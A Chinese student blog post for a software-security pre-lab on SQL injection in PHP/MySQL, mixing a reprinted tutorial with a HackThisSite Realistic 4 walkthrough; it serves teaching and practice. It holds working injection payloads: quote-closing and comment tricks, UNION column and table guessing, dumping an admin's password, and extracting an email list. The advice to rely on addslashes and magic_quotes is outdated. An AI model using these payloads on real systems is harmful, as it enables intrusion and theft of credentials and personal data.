软件安全实验——pre8(SQL注入预习)

1、网上搜索和阅读SQL Injection with MySQL这篇文章。

描述SQL Injection的原因和危害,注意其中提到的单引号双引号和井号等特殊字符。思考如何才能防止SQL Injection。

在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ’ (单引号), " (双引号), / (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。

SELECT * FROM article WHERE articleid='$id'SELECT * FROM article WHERE articleid=$id

两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。
① 指定变量$id为:

1' and 1=2 union select * from user where userid=1/*

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②指定变量$id为:

1 and 1=2 union select * from user where userid=1

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,就可以发现,那个$forum_id所在的SQL语句是这样写的:

$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";

由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:

http://127.0.0.1/injection/user.php?username=angel' or '1=

这时显示“登陆成功”,说明成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23

这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。

SQL Injection注入的防范:
防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");

或者这样写:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")

不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ’ (单引号), " (双引号), / (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");

或者这样写:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“”、“%”转换为“/”“/%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","/_",$keywords);
$keywords = str_replace("%","/%",$keywords);

不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?

2、SQL Injection过程中,

需要猜测未知的数据表名和字段名以及密码,描述一下常用的猜测手段。

1、快速确定未知数据结构的字段及类型:

如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”。

2、猜数据表名:

在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1

返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是这样,后面的实例会涉及到。
  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……

如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫_……
  首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > "0" && $id < "999999999" ):
//这里是正确执行的代码
else:
echo "<p><center><a href=./list.php>无记录</a></p>/n";

也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT '0' NOT NULL,
 viewnum int(10) DEFAULT '0' NOT NULL,
 downnum int(10) DEFAULT '0' NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT '0' NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);

用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

结果成功返回了我们所需要的用户名和密码,如图:

验证测试结果

整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码

用select char(49,50,51,52,53,54)就可以得到123456。
  OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜

3、(一定要看)阅读Basic SQL Tutorial。

http://www.w3schools.com/sql/
http://www.w3schools.com/php/ 以及
http://www.unixwiz.net/techtips/sql-injection.html

前两篇文章是w3schools教程网站上对sql和php语言的使用介绍和基本语法规则。
第三篇文章介绍了SQL注入的一些实例。

4、(选做,实在搞不定可以网上搜索walkthrough)HTS Realistic 4。

先去http://www.hackthissite.org/注册,然后利用SQL Injection完成下面这一关,目的是获得a list of the email addresses。

Fischer’s Animal Products: A company slaughtering animals and turning
their skin into overpriced products sold to rich bastards! Help animal
rights activists increase political awareness by hacking their mailing
list.

From: SaveTheWhales

Message: Hello, I was referred to you by a friend who says you know
how to hack into computers and web sites - well I was wondering if you
could help me out here. There’s this local store who is killing
hundreds of animals a day exclusively for the purpose of selling
jackets and purses etc out of their skin! I have been to their website
and they have an email list for their customers. I was wondering if
you could somehow hack in and send me every email address on that
list? I want to send them a message letting them know of the murder
they are wearing. Just reply to this message with a list of the email
addresses. Please? Their website is at
http://www.hackthissite.org/missions/realistic/4/. Thanks so much!!

菲舍尔动物制品公司:一家屠宰动物并把它们的皮做成高价产品卖给有钱的混蛋的公司!通过黑客攻击动物权利活动家的邮件列表,帮助他们提高政治意识。

在这里插入图片描述

来自:SaveTheWhales
信息:你好,我是一个朋友介绍给你的,他说你知道如何黑进电脑和网站-我想知道你是否能在这里帮我。当地有一家商店,每天都要宰杀数百只动物,专门用来卖皮夹克和钱包等!我去过他们的网站,他们有客户的电子邮件列表。我想知道你能不能黑进去把名单上的所有邮箱地址发给我?我想给他们发个信息让他们知道他们穿着的是谋杀服装。只需用电子邮件地址列表回复此消息。好吗?他们的网站是http://www.hackthissite.org/missions/realistic/4/。非常感谢!
!
在这里插入图片描述

点进主页面:http://www.hackthissite.org/missions/realistic/4/
在这里插入图片描述

页面上有两个商品链接“毛皮大衣!”、“鳄鱼配件!”和一个输入邮件地址的输入框
“毛皮大衣!”产品页面:
在这里插入图片描述

“鳄鱼配件!”产品页面:
在这里插入图片描述

提交邮件按钮,添加邮箱成功:
在这里插入图片描述

添加邮箱失败:
在这里插入图片描述

但是它告诉我们是存在一个email表的。
我们可以看到“毛皮大衣!”产品页面的网址是:https://www.hackthissite.org/missions/realistic/4/products.php?category=1,“鳄鱼配件!”产品页面的网址是:https://www.hackthissite.org/missions/realistic/4/products.php?category=2
所以数据库的email表当中是有category列的,但是category列中只有1和2,没有其他的后续值了
在这里插入图片描述

我们在category=1后面拼接and 1=1

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 and 1 = 1

在这里插入图片描述

依旧可以正常查询,所以这里存在sql注入漏洞
拼接category=3 or 1=1,这时候会回显所有的商品

https://www.hackthissite.org/missions/realistic/4/products.php?category=3%20or%201=1

在这里插入图片描述

之后我们继续用盲注的方法在后面拼接order by,来查看表中有多少列
查询结果按照前1列排序:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 1

在这里插入图片描述

成功返回了结果,证明表中有至少1列数据
查询结果按照前2列排序:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 2

在这里插入图片描述

依旧成功返回了结果,证明表中至少有2列数据
查询结果按照前3列排序:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 3

在这里插入图片描述

依旧成功返回了结果,证明表中至少有3列数据
查询结果按照前4列排序:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 4

在这里插入图片描述

依旧成功返回了结果,证明表中至少有4列数据
查询结果按照前5列排序:

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 order by 5

在这里插入图片描述

没有返回结果了,说明该表中只有4列数据,当你按照前5列排序时就出现异常从而查询不到结果。
说明email表中只有四列其中有一列是category,接下来我们用UNION 操作符来合并两个或多个 SELECT 语句的结果集,UNION 操作符选取不同的值,如果允许重复的值,请使用 UNION ALL。
所以我们在上面的链接后面拼接UNION ALL select 1,2,3,4 from email。select 1,2,3,4 是指返回一个1,2,3,4 的数组(所以这里的1,2,3,4只是为了区分不同的列的数字,也可以改成156,456,111,741这种没有意义的数字),select 1,2,3,4 from email就是把email表中的4列数据全部返回,然后用全部用1,2,3,4代替。

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION ALL select 1,2,3,4 from email

在这里插入图片描述

这样前3个结果就是第一个select 中符合category=1的查询结果,后面的所有结果都是第二个查询select 1,2,3,4 from email查询到的值,上面只显示了2和3,说明只有第2列和第3列的值在前端显示了,1和4在查询时替换了但是这个页面中并没有用到。
那我们就把2,3用通配符*,*替换,这样就不会改变查询到的2,3原本的值了,

https://www.hackthissite.org/missions/realistic/4/products.php?category=1 UNION ALL select 1,*,*,4 from email

在这里插入图片描述

返回显示第2,3列的值就是邮件地址

alph-alpha-brown@hotmail.com
sam.goodwin@yahoo.com
UltraDeathLaser@aol.com
SwingLow@hotmail.com
TeaBody@aol.com
jsmith@uic.edu
3ambeer@graffiti.net
shootfirst@yahoo.com
Bobby@friends.com

但是刚开始找了半天都没找到提交答案的地方,后来看到题目当中提到了把名单上的所有邮箱地址发给SaveTheWhales,
然后在论坛的交流板块有个搜索用户的功能:
在这里插入图片描述

点进去输入搜索SaveTheWhales:
在这里插入图片描述

找到这个人之后点进他的主页:
在这里插入图片描述

然后点击他的名字:
在这里插入图片描述

就可以给他发送一个消息了:
在这里插入图片描述

把邮件地址都粘贴进去:
在这里插入图片描述

就会提示恭喜你通过了,“Congratulations, you have successfully completed realistic 4!”:
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值